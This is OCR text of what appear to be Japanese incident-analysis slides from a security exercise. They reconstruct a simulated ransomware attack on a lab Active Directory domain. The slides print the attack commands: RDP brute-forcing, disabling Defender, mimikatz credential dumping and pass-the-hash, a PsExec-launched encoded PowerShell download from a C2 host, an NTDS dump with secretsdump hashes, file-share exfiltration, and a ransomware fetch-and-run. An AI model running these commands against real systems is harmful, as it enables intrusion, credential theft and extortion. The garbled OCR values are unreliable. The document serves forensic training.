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10/05/2021 13:58:49.720 +0900 loc=ja-JP type=ITM2 sn=233300 lv=5 rf=C8 evt=ps subEvt=start os=Win com="WS@2" domain="AD" profile="MWSCup_server"
tmid=cafea20b-e051-4850-82aa-67b@fb77b311 csid=S-1-5-21-227450561-756157574-541565978 ip=172.16.1.102,fe80::a406:6b8c:bBce:6Tff mac=06:86:83:b1:24:05 sessionID=0 psGUID=
{6593C268-86E2-459C-8824-5A48E489E7FA} psPath="C: \Users\hashlda\Desktop\PsExec exe" cmd="-accepteula -s \\dc@l.ad.future-gadget.lab -c C:\Users\hashida\security.bat" psID=1476
parentGUID={E888BC02-6945-4685-9490-FB3
sh3256—57492d33b7c0755bb4l1b22d2dfdfdfOSBcbbfcd010e30dd8d425d5fe66adff4 shal=b97761358338e640a31eef5e5c5773b633890914 md5=c590a84b8c72cf18f35ae1667815c9df company="Sysinternals -
www.sysinternals.com" copyright="Copyright (C) 2001-2021 Mark Russinovich" fileDesc="Execute processes remotely" fileVer="2.34" product="Sysinternals PsExec" productVer="2.34"
crTime="09/30/2021 10:34:40.857" acTime="09/30/2021 10:34:40.872" moTime="05/25/2021 16:40:08.000" size=834936 sig=Valid signer="Microsoft Corporation" issuer="Microsoft Code
Signing PCA 2011" cerSN="33 00 00 01 df 6b f@ 2e 92 a7 4a b4 do 00 00 00 00 01 df" validFrom="12/16/2020 06:31:45.000" validTo="12/03/2021 06:31:45.000"
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10/05/2021 13:55:12.581 +0900 loc=ja-JP type=ITM2 sn=233262 lv=5 rf=(8:(3 evt=file subEvt=create os=Win com="WS@2" domain="AD" profile="MWSCup_server"
tmid=cafea20b-e051-4850-82aa-67b0fb77b311 csid=S-1-5-21-227450561~756157574-541565978 ip=172.16.1.102,fe80::a406:6b8c:b8ce:6Tff mac=06:86:83:b1:24:05 sessionID=0 psGUID=
{B355E69C-646D-4D70-B61C~B2EFF8434EA4} psPath:“C:\Users\hashida\DesktoR\PsExec.exe" path="\\dc@1.ad. future-gadget. lab\ADMIN$\PSEXESVC.exe" mntFld="\\dc@1.ad.future-gadget.
1ab\ADMINS" drvType=Ne{

~ Y
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10/05/2021 13:55:33.979 +0900 loc=ja-JP type=ITM2 sn=917044 lv=5 rf=C10 evt=reg subEvt=setVal os=Win com="DC@1" domain="AD" profile="MWSCup_server"
tmid=1778d4af-d24c-4027-a500-e@d1lacde3190 csid=S-1-5-21-858374932-2674914263-2914415109 ip=172.16.2.101,fe80::b5eb:ee4f:3010: fcd5 mac=0a:8e:d7:bb:89:23 sessionID=0 psGUID=
{DF2927EB-DF5E-4D6F-9330-C3DC4B430320} psPath="C:\Windows\System32\services.exe" path="HKLM\SYSTEM\ControlSet@01\Services\PSEXESVC" entry="Type" valType=REG_DWORD valNum=16
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[T 2% Dhashida?s Z DIFIZOWTHHEZIT> TV EZ A, 7 7 A VOYEEE 113 encrypted (T2
FINTHEILEINTBY, HRE2E R XL AREAD_TO_DECRYPThtml & W95 &FidD 7 7 A /L
IN—HEBD L —HF DDesktoplT/EL S LTV e Z &7,

& C:¥Users-Desktop¥READ_TO_DECRYPT.html|

)] C:¥Users-¥Desktop¥R... L]

YOUR FILES HAVE BEEN ENCRYPTED USING A
STRONG AES-256 ALGORITHM.

YOUR IDENTIFICATION IS
916aa5aldf ef35%ad8a35db5f 3dG33f 0

SEND 0.345 BTG TO THE FOLLOWING WALLET
FDOAhHE 1 onabf XSB2ZRSOKhNFOT L) %55600

AND AFTER PAY CONTACT example@wtpdnpwihbyuvck.onion
SENDING YOUR IDENTIFICATION TO RECOVER
THE KEY NECESSARY TO DECRYPT YOUR FILES
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e RAT (Remote Access Trojan) : Covenant
o CHTENMINIEC27L—LTU—7 ".
o  https://github.com/cobbr/Covenant/tree/master/Covenant :
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4

o T VAT (BEE{k7m/F L) :Ransomware
o goTEMNEERET VY AT =T

o  https://github.com/mauri870/ransomware

o FHMAIROZHOSSE L TAFIN TWA T L —A T — 7 2
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o LA— FTHEINTWVDEFIIFFITRDP D DR ADZLLD

RERHIBR

YDE—RTFRZ bk |MS16-032 (A—H/LHERRR) Matrix
vyZ770823) NLBrute. Advanced IP Scanner,

(RDP) AmmyAdmin, NetworkShare.exe

| xDedicLogCleaner

=Pl REBFZ14~X—k |PsExec. DomainUser—RBR/NYF7 |AYYRFAVYF VYLD 7 |Pslogexe. sdelete.exe
KYNT—7 71 (rsa.exe)
(VPN)

xZI1LHXDA 2 >72 R T ShicY—ILEK

https://www.secureworks.jp/resources/at-targeted-ransomware-spreading-in-japan
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ocol:
0S: Windows 10/Windows Server 2016
0S Buikd: 10.0.14393

System Time: 2021-10-25 08:21:04.897750
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e 35.74200[.]1209 7> LWSOLIZRf L TR — k 2% % > & E{T

3389
sudo: unable to resolve host attacker: Name or service not known
Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower.
Starting Nmap 7.91 ( https://mmap.org ) at 2021-10-85 04:88 UTC
Nmap scan report for
Host is up (©.00088s iatency).

PORT STATE SERVICE
3389/tcp open ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in ©.17 seconds

e 3574200[.]209 7> b BEEIEE A AT
o  Administrator® /AU — K73 chris £ W5 Z &5

rdp:// 4 Administrator J/usr/share/wordlists/rockyou. txt

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
-binding, these *** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-85 04:09:47

[WARNING] the rdp module is experimental. Please test, report and if possible, fix.

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (1:1/p:14344399), ~3586100 tries per task
[DATA] attacking rdp:// 13389/

[3389][rdp] host: login: Administrat password:

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-10-85 04:10:03



ROPAFR— N R o, FEEWE, 04

e RDP/»>5WS01?DAdministrator C& 7 4 L 5K
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e whoami /all
o mIJFra—WIFROMER
e ipconfig /all
o Ry hU— RO
® net user
o m—ha—PIEROMER
e net localgroup
o B—HNTN—TIEROMHER
e net localgroup Adminisistrators
o  Administrators 7 /L — 7|2 & 5 = — PR

41



C:¥Windows¥system32>net user
YW01 O2—%— 7ho b

ﬁtipist rator
2 FERCHTLECK.

Guest
WOAGUL i | ityAccount

C: ¥Windows¥system32>net localgrouw Administrators
IA)T2B Administrators
Ak AVEA=R—/FAA VCRUBT IELAWHHBYET,

kitting
S RERCRTLEL.




WS0TCD XN 7 KT 22— VERK (5. Persistence)

o RNy T v T7THOu—H/VT 7+ AdministratOr {ERE
o  Administrator® /X AU — RN HE N THkRIIcr 714 VHkD L 91235729

o EHEMIBZHMFFT A7-8. Administrators 7 /L — 7|2 & BN

e ATT&CK T1136.001: Create Account: Local Account {234 CixE 5
o https://attack.mitre.org/techniques/T1136/001/
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Windows Defender % ﬂﬁ’;ﬁ’f V. (4. Defense Evaision)

o U1 —)/VEHFEMER %> D T Windows Defender ™ #2h1b 03 R] BE
o Z DO D mimikatz)MRE S D O THEET 5
e PowerShell=Z~ > K% {ifi

o powershell Set-MpPreference —DisableRealtimeMonitoring 1
o Zoawry FEKIEMRD=a~ R
o WEEAKRZE U TYHEME 2Bk (Defense Evaision) 9 %7292t T %
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o FHEMRN D DD TIITHHE
o WMEINTWVLHEHFTH, RAROT U FNEHEMRTHD Z LBZNTD
mimikatz23EH ST 5
o https://jsacjpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_jp.pdf
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101
9|
Proxy

Amazon Linux

G
.
Y

Internet

RDP Attacker

35.74.200[.]209

O

C2 Server
35.75.228[.]21




R A A 2 OIERINE

net user /domain
o RAAa—HoOMR
net group /domain
o  RNAA T N—TDHER
net group "Domain Admins" /domain
o Domain Admins 7 /L —7" D A 7 Jigid
net group "Domain Computers” /domain
o KAAfrarba—HFOmR
nslookup ws02.ad.future-gadget.lab
nslookup ws03.ad.future-gadget.lab
nslookup fileOl.ad.future-gadget.lab

net view ¥¥fileOl.ad.future-gadget.lab
o 77 ANIHDOHER
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7 7 A IV — DG rﬁi&@ﬁﬁ i)

e net use Z: ¥¥fileOl.ad future-gadget.lab¥kitting
o ZRIATIZ 77 ANIEKAET 4 /LK kitting &~ 7 > K

o FLIFIFEEHMAEDNILT- credentials.txt % [
o 7 AN = TAEDFRFEERDEDPNT T 7 A VIZED 72V RN
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ServerNet 172.16.2.0/24 ClientNet 172.16.1.0/24
EDR
- 101
P
DCo1
Windows Server 2019
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4 EDR __
Sales — : 103 =
- u .
Develop il :
L}
>~ "
o WS03
R0 : Windows Server 2019
FILEO1 "
Windows Server 2019 -
.
.
Public subnet
.
ProzyNet 172.16.3.0/24
’0 .
T~~~ .
Qumnm LR s® s
)
Proxy

Amazon Linux

WSO021Z#E R (RAT

Internet

L 7=3REL1AHR % A L Tkitti

RDP Attacker

35.74.200[.]209

ws®

O

C2 Server

35.75.228[.]21




WMI ™ 1f -7z RAT;%? T (3.3 Lateral Movement / Execution)

LA L 7= 3RGE S & vV CWMIL 2 f#E A

o
WMI(Windows Management Instrumentation) |ZWindows % %3 I < & B9~ % {HfH 7

O
o HEHTAEZOITITZ—FIFERE/NAT — RNRNE
o JVE—Parsva—4THELE-ZntA2EETX S,

o WSO2TCRATA# X >u—RThHhavw REFELT

WMIC
http://35.75.228[.121/start
oI RPC % , XS
—— g &7t hitp:/35.75 228 21/en-usfindex html 7 & -
WSO01 WS02 C2 Server
kitting 35.75.228[.]21

Administrator



WS02-c>WMIDFirewall 7]

e WSO01/)>6WMICEZEIT LT & Z A, FirewalllZ L Y A
e WSO01/>5WS02IZRDPTCTHa 7 A > L., WMI% Firewall C&F ]

L

E 7 3
a
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WM|G’CRAT@@J (3.3 Lateral Movement / Execution)

e WS01)> 5WMIC CTWindows Defenderf%h{.#%. WS02 TCRATZ X 7 o — K
T Ha~vr NaE3ET
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Private subnet

ServerNet 172.16.2.0/24

EDR
- 101
P
DCO1
Windows Server 2019
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EDR
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kitting
FILEO1
Windows Server 2019

Public subnet
ClientNet 172.16.1.0/24
il =1
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Windows Server 2019
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WS02
Windows Server 2019

v
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hd EDR __

< 103 ‘
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n
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: Ws03
u Windows Server 2019
-
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.
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hida~N#EfR TRATZETT
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—_—

—
—a
—y

A

e mimikatz (notepad.exe) % CovenantOMEEETT v 7 r— KL, 31

AR R T5

e hashida®DFRIFE# & %5 HX

o kitting® HEEMEIRN &5 DT,

(nflabs) > Upload /filepath:"C:\Users\kitting\notepad.exe"
(nflabs) > Is C:\Users\kitting\

(nflabs) > Shell C:\Users\kitting\notepad.exe sekurlsa::logonpasswords exit

FHEHEE. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53

A . "ALa Vie, A L'Amour” - (oe.eo)

## / \ ## /*** Benjamin DELPY " gentilkiwi" ( benjamin@gentilkiwi.com )
##\ /## > https://blog.gentilkiwi.com/mimikatz

‘W v##'  Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#HiHE > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::logonpasswords

AuthenticationId: 0; 1936751 (00000000:001d8d6f)

Session : Remotelnteractive from 3
User Name : kitting
Domain : WS02

Logon Server  : WS02
Logon Time  :2021/10/05 13:36:31
SID :§-1-5-21-227450561-756157574-541565978-1009

mimikatzZ /T TE 5

Authentication Id: 0 ; 1025772 (00000000:000fa6ec)

Session : Remotelnteractive from 2
User Name : hashida
Domain :AD

Logon Server  :DCO1
Logon Time :2021/10/05 13:03:17
SID :§-1-5-21-2831743007-1565916999-1363509356-1116
msv:
[00000003] Primary
* Username : hashida
*Domain : AD
“NTLM - 54202f81ccb70c7ca6587ecef618b779
*SHA1 :7978eb3fa7b4481d9cf792343f2c877b85c0122a
*DPAPI :a165b92e9109378e611e3b06a25calfd

tspkg :

wdigest :

* Username : hashida
*Domain :AD

* Password : (null)
kerberos :

* Username : hashida

*Domain : AD.FUTURE-GADGET.LAB
* Password : (null)

ssp:

credman :

i‘_‘
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FPEIE -5 . RATSEAT (3.1 Execution / Privilege Escalation)

o RAT#% &I Dconfighat 7 v 7 — K
e mimikatz (notepad.exe) % M\ TPass The Hash® 3% ThashidalZHERA-#%
o hashida?®#£[R % 7> CRATH H)

o 7272L. v ElIkitting=— ¥ CTiigks L5

(nflabs) > Upload /filepath:"C:\Users\kitting\config.bat"

C:\Users\kitting\config.bat

(nflabs) > Shell C:\Users\kitting\notepad.exe "sekurlsa::pth /user:hashida /domain:ad.future-gadget.lab /ntim:5d202f81ccb70c7ca6587ecef618b779 /run:C:\Users\kitting\config.bat" exit

DotNetVersion Integrity Process

. mimikatz 2.2.0 (x64) #1
FHE A ##. "ALa Vie, A L'Amour” - {
## / \ ## /*** Benjamin DELPY "g
##\/## > https://blog.gentild
‘W v##' Vincent LE TOUX WS02 kitting
"HH > https://pingcastle.

Net35 v High v powershell

UserDomainName UserName

IPAddress Hostname
mimikatz(commandiine) # sekurlsa:
user : hashida 172.16.1.102 WS02

domain : ad.future-gadget.lab

Microsoft Windows NT 10.0.17763.0

ActivationTime LastCheckin

10/05/2021 04:42:23 10/05/2021 05:46:18
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LI -

ServerNet 172.16.2.0/24 ClientNet 172.16.1.0/24

1;% g (6) WS024 5 PsExec L) T

DCO1TRATZE4T

DCO1
Windows Server 2019

g

RDP Attacker
WS02
Windows Server 2019 Internet 35.74.200[.]209
u .'
| |
. nd EDR
I -~
Sales o : » 103 o
L]
= |
Develop e u : .
- n
= 1 WS03
kitting > Windows Server 2019
FILEO1 k.
Windows Server 2019 . e
v® ,e®
.
ﬂ Public subnet
.
fro:yNet 172.16.3.0/24 C2 Server
s e
= 4= . e 35.75.228[.]21
=17 % tanmnupmy sl .
- .
YpEEEEnEnE

Proxy
Amazon Linux




- i 1L IM t/E ti
Domain Controller CRATZAT (55 panution oo

e WS02DRAT?> Hhashida (Domain Admins) D #E[E CPsExec % {#
o PsExeclZWindows Sysinternals® > —/L C, % —/ "D A T F U ZAETHH I N L IEHRY —L
o AENIWS02iZT AT AEHENT A7 by TIZEWTHE - Tzt O EF|H

PsExec
“ http://35.75.228[.]121/start
om SUE o . .
o' > L3 XD
[ P | o\ + http://35.75.228.21/en-us/index.html % & w
E— < >
I

> I

WS02 DCO1 C2 Server
hashida SYSTEM 35.75.228[.]21
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Domain Controller CRATSEAT (55 ranation - oo

e WS02DRAT?> Hhashida (Domain Admins) D #EFRE TPsExec Z {#

@ Info >_ Interact @ Task £ Taskings

(nflabs) > Shell C:\Users\hashida\Desktop\PsExec.exe -accepteula -s \\dc01.ad.future-gadget.lab -c C:\Users\hashida\security.bat

PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Windows\system32>powershell -Sta -Nop -Window Hidden -EncodedCommand
aQBIAHgAIAA0AE4AZQB3ACOATWBIAGoAZQBJAHQAIABOAGUAdAAUAFcAZQBIAEMAbABpAGUAbgBOACKALgBEAG8 AdwBUAGWAbwBhAGQAUWBOAHIAaQBUAGCAKAANAGgAdABOAHAAOgGAVACSAMWA 1 AC4ANWAT1
AC4AMgAyADgAL gAyADEAL wBzAHQAYQByAHQA WADAA==

#< CLIXML

<Objs Version="1.1.0.1" xmins="http://schemas.microsoft.com/powershell/2004/04"><0bj S="progress" Refld="0"><TN Refld="0"><T>System.Management.Automation.PSCustomObject</T>
<T>System.Object</T></TN><MS><I64 N="Sourceld">1</164><PR N="Record"><AV>EZ 21—l £NH THER T I/ HDHEML TVET . </AV><Al>0</Al><Nil /><PI>-1</Pl><PC>-1</PC><T>Completed</T>
<SR>-1</SR><SD> </SD></PR></MS></0bj></0bjs>Connecting to dc01.ad.future-gadget.lab...

Starting PSEXESVC service on dc01.ad.future-gadget.lab...

Copying authentication key to dc01.ad.future-gadget.lab...

Connecting with PsExec service on dc01.ad.future-gadget.lab...
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Domain Controller CRATSEAT (55 ranation - oo

e DCO01 CRAT®Downloader?’521T =41, SYSTEMAE[RE CRAT)S EH)

CommType

HTTP

DotNetVersion

Net35

UserDomainName

AD SYSTEM

IPAddress

172.16.2.101 Microsoft Windows NT 10.0.17763.0

ActivationTime LastCheckin

10/05/2021 04:59:27 10/05/2021 05:46:09
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AD DZEEEE ¥k 2 23 B (2.3 Credential Access / Exfiltration)

e ntdsutilexe T NTDS® = v"—Z{Eak, ZIPIEAE L CREHHI L
o NTDSIZ Active Directory?®Domain Database

@ Info >_ Interact @ Task £ Taskings

(nflabs) > Shell ntdsutil.exe "ac i ntds" "ifm" "create full c:\Users\hashida\dump" q q

ntdsutil.exe: ac i ntds
TOT AT AVRIV AN "ntds" [CRBENELL,
ntdsutil.exe: ifm
IFM: create full c:\Users\hashida\dump
AFvTaybEERLTOET ...
AFv T avk yk {baScffd0-6a57-493d-a1b5-9c9ffbd7689b} AIERICERINEL /.
AFvFavk {8ac19c52-279d-47e4-bb44-5f2a929202d} ¢ C:\$SNAP_202110051401_VOLUMECS\ &LTROUbENELLE.
AFvFavk {8ac19c52-279d-47e4-bb44-5f2a92f9202d} (FERIC I RENTIVVET .
BB{LE—FEEMLTOET ...
V=R F—HR—2A: C:\$SNAP_202110051401_VOLUMEC$\Windows\NTDS\ntds.dit
H—4'yk F—&~—2: c:\Users\hashida\dump\Active Directory\ntds.dit

Defragmentation Status (0 omplete)

0 10 20 30 40 50 60 70 80 90 100

VPN 7740 EE—-LTVET ..

c:\Users\hashida\dump\registry\SYSTEM £a—LT\&¥
c:\Users\hashida\dump\registry\SECURITY ZaE—LTL\\¥ 7

RFvFayvhk {8ac19c52-279d-47e4-bb44-5f2a92f9202d} DI MRIRENEL .
IFM A5 474 c:\Users\hashida\dump ICIE#IcfEEhEL A
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— [10/05/2021 05:04:33 UTC) Download completed
(nflabs) > Download /filename:"C:\Users\hashida\dump.zip"

Download completed:  C:\Users\hashida\dump.zip

Path = C:\Users\hashida\dump.zip

Type = zip
Physical Size = 5239323

2021-10-05 14:01:30 dump\Active Directory\ntds.dit
2021-10-05 14:01:30 dump\Active Directory\ntds.jfm
2021-09-30 11:39:18 dump\registry\SECURITY
2021-09-30 11:39:18 ..... dump\registry\SYSTEM

2021-10-05 14:01:30




L—(kal i® c2)-[~/./Covenant/Data/Downloads/dump |
$ impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Impacket v@.9.22 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: @x3a70c293881baa838673a342eaa53a4a

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Searching for pekList, be patient

[*] PEK # @ found and decrypted: Sbe3d434a6524328c9beff76b35e6101

[*] Reading and decrypting hashes from Active Directory/ntds.dit

Administrator:500:aad3b435b51484eeaad3b435b51404ee : 565a4c5926056be385c7ba@1e29d9789: : :

Guest:501:aad3b435b51404eeaad3b435b51404ee : 31d6cfedd16ae931b73c59d7e0c@89c0:

DCO1$:1009: aad3b435b51404eeaad3b435b51404ee : 45700e4444920b7b4851cc94cbIfdc36

! krbtgt:502:aad3b435b51404eeaad3b435b51404ee : 52b8290550a78544 c4ad8de490cdlaca: : :

' WS@1$:1113:aad3b435b51404eeaad3b435b51404ee : c6d5e7d998481b4bd7b420125d94c766: : :

'ad. future-gadget.lab\okabe:1115:aad3b435b51404eeaad3b435b51404ee: f87595573b9951ecfdbIe64e20a6e@47: : :
gadget. lab\hashida:1116:aad3b435b51404eeaad3b435b51404ee:5d202f81ccb7@c7cab587ecef618b779:

ad. future-gadget.lab\makise:1117:aad3b435b51404eeaad3b435b51404ee : 339ea020245666d9ea78ce2e8647733c: :

ad. future-gadget.lab\shiina:1118:aad3b435b51404eeaad3b435b51404ee:9910513b717757cfbdfaca882elllcla: ::

FILE@1$:1119:aad3b435b51404eeaad3b435b51404ee: fc892b490bbSaadfaae69c4f13e95c63: : :

l WS02$:1120: aad3b435b51404eeaad3b435b51404ee : 6008266ba81e301073d3c250945€a079: : :

WS@3$:1121:aad3b435b51404eeaad3b435b51404ee : 668b8a49cad8071d03bd7daddfefab2ch: :
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WS02/)> 5153 DEFH L (32 Collection / Exfiltration)

e WS02 CFILEO1®Developers™” # /L4 | Sales” 4+ /L4 D7 7 A )L ZZIPT
JEAE, FFHL

(nflabs) > Shell /shellcommand:"net view \\file01.ad.future-gadget.lab"

(nflabs) > PowerShell /powershellcommand:"Compress-Archive -Path \\fileO1.ad.future-gadget.lab\Developers -DestinationPath C:\Users\hashida\Developers.zip -Force"
(nflabs) > PowerShell /powershellcommand:"Compress-Archive -Path \\fileO1.ad.future-gadget.lab\Sales -DestinationPath C:\Users\hashida\Sales.zip -Force"
(nflabs) > Is C:\Users\hashida\

(nflabs) > Download /filename:"C:\Users\hashida\Developers.zip"

Download completed:  C:\Users\hashida\Developers.zip

(nflabs) > Download /filename:"C:\Users\hashida\Sales.zip"

Download completed: C:\Users\hashida\Sales.zip
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Path = C:\Users\hashida\Developers.zip
Type = zip
Physical Size = 83604

Name
2021-09-13 16:50:48 file@l.ad.future-gadget.labDevelopersF fc D £ SHHDERIFT L & > febyR A # P .docx
2021-09-13 16:51:18 file0@l.ad. future-gadget.labDevelopers& UM UL TASA ST TIHh— o> | ? .docx
2021-09-13 16:49:50 file@l.ad. future-gadget.labDeveloperst 1 J 7 A+ —/{— .docx
2021-09-13 16:50:28 file@l.ad.future-gadget.labDevelopers¥ o 1 7 H X 5 — .docx
2021-09-13 16:49:18 file@l.ad. future-gadget.labDeveloperst’ v k #I F & .docx
2021-09-13 16:51:04 file@l.ad.future-gadget.labDevelopers® 7 v K + 2 ®x — % .docx
2021-09-13 16:51:36 file@l.ad. future-gadget.labDevelopersH i ## B % % /K — JL . docx
2021-09-13 16:52:10 file@l.ad.future-gadget.labDevelopers® & L ¥ ¥ (R ).docx

2021-09-13 16:52:10 8 files

Path = C:\Users\hashida\Sales.zip
Type = zip
Physical Size = 46468

2021-09-13 16:42:36




b? N\ I i}n Private subnet Public subnet
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(1.2 Command and Control)

— = (1.3 Lateral Movement / Execution)
7Y AT =T DT (1.4 Lateral Movement )

e WS027> 5 PowerShell RemotingZ VT, BEE{b7n 77 L%
http://35.75.228[.121/files/rexe 2> H X U m— K| FEAT
o UE— MK TWinRMZ A L TPowerShell = = & N % 24T ] BE
o —HEAEELARVEASIT. BAEO—F DM (hashida) TFEST
e PowerShell Remoting CWindows Defender {5 1-9" % 22~ > N$ 54T

o HE{vu s T Ait, http://35.75.228[.121:8080/api/keys/add & iEiE

http://35.75.228[.]21/files/r.exe [(oe0 ]

IV WinRM : (B4 ,\-: > OXE
% > ’E‘ \ http://35.75.228[.]21:8080/api/keys/a:d ?_
WS01, WSO03, C2 Server

WS02 FILEO1, DCO1 35.75.228[ |21
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TN =T DEAT (1.1 Impact)

e WSO01, WS03, FILEOL, DCOIDJEE T, A7 U 7 I EfT

(nflabs) > PowerShellRemotingCommand /computemame:"ws01.ad.future-gadget.lab" /command:"Set-MpPreference -DisableRealtimeMonitoring 1"
(nflabs) > PowerShellRemotingCommand /computername:"ws01.ad.future-gadget.lab" /command:"Invoke-WebRequest -Uri http://35.75.228.21 /files/r.exe -OutFile C:\Users\hashida\r.exe; C:\Users\hashida\r.exe"

2021/10/05 14:15:41 Walking interesting dirs and indexing files...
2021/10/05 14:15:42 Walking C:\

2021/10/05 14:15:42 Walking C:\$Recycle.Bin
2021/10/05 14:15:42 Skipping dir C:\$Recycle.Bin
2021/10/05 14:15:42 Walking C:\BOOTNXT

2021/10/05 14:15:42 Walking C:\Boot

2021/10/05 14:15:42 Walking C:\Boot\BCD

2021/10/05 14:15:42 Walking C:\Boot\BCD.LOG
2021/10/05 14:15:42 Walking C:\Boot\BCD.LOG1
2021/10/05 14:15:42 Walking C:\Boot\BCD.LOG2
2021/10/05 14:15:42 Walking C:\Boot\BOOTSTAT.DAT
2021/10/05 14:15:42 Walking C:\Boot\Fonts

2021/10/05 14:15:42 Walking C:\Boot\Fonts\chs_boot.ttf
2021/10/05 14:15:42 Walking C:\Boot\Fonts\cht_boot.ttf



TV LAY =T DFRAT (1.1 Impact)
o WSO02/TZPowerShell ClRIFED o~ > RELTTT VLT = 7 ELT

(nflabs) > PowerShell /powershellcommand:"Invoke-WebRequest -Uri http://35.75.228.21 /files/r.exe -OutFile C:\Users\hashida\r.exe; C:\Users\hashida\r.exe"
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Timeline (1/2)

BREIEIEELAAY b (NEXR)
JL—IER IS REZRINH LAY b

Event

Time

host

user

13:08:18|WS01(=xt L T3389/tcp A BHLN TLIS MR—FRF v

attacker

13:09:46(WS011=xfL TAdministrator~ 3 E & %

13:12:35| 1 —HIERDFEE

attacker

Administrator|

13:12:53[IP7RL A DHERR WS01 [Administrator
13:13:44|A—H)L 2 —F D FHI|ZE WS01 [Administrator
13:14:13|A—HIL T IL—T D FI|ZE WS01 [Administrator|

13:14:41|Administrators7 JL—F D1 —HFER

13:16:25|EHE 4 JL—TIZAdministratOrZ B0 (K8

13:17:31|EEEY I —TITEMSh TWHI LR

WS01

Administrator|

Administrator|

Administrator|

13:18:16(Windows Defender® Sh/E4K SR

13:21:18|mimikatz% ¥E Bk WS01

Administrator|

Time Event host user

13:25:42 | KA A —H D 5% WS01 [Administrator (AD¥okabe)
13:26:06 | KAS 2T IL—F D 5% WS01 [Administrator (AD¥okabe)
13:27:06 | Domain ComputerZ#&:2 WS01 [Administrator (AD¥okabe)
13:27:51 |WS02DIP7 KL R FEER WS01 [Administrator (AD¥okabe)
13:28:05 |WS03DIP7 KL R FEER WS01 [Administrator (AD¥okabe)
13:28:13 [FILEO1DIPF7 KL R FEER WSO01 [Administrator (AD¥okabe)
13:29:35 | 3 RTHI7A I EEHEHER (LK) WS01 |Administrator (AD¥okabe)
13:29:55 | ALV DT RTHDI7AILEBHZERER (KB |WS01 | Administrator (AD¥okabe)
13:30:54 | D7 AL B —/\DIEHRINE WS01 |Administrator (AD¥okabe)
13:31:40 | kitting T AL IR EZRSATIZR Ik WS01 [Administrator (AD¥okabe)

13:32:04 | kitting T AL 7R Do MR

WSO01

Administrator (AD¥okabe)




Tlmellne (2/2) BEBIEEAAAY b (MEARR)

JL—EO I oEENE LAY L

13:56:58|DC01 TEATEH BbatI7(ILETFyTO—F WS02 |kitting (AD¥hashida)
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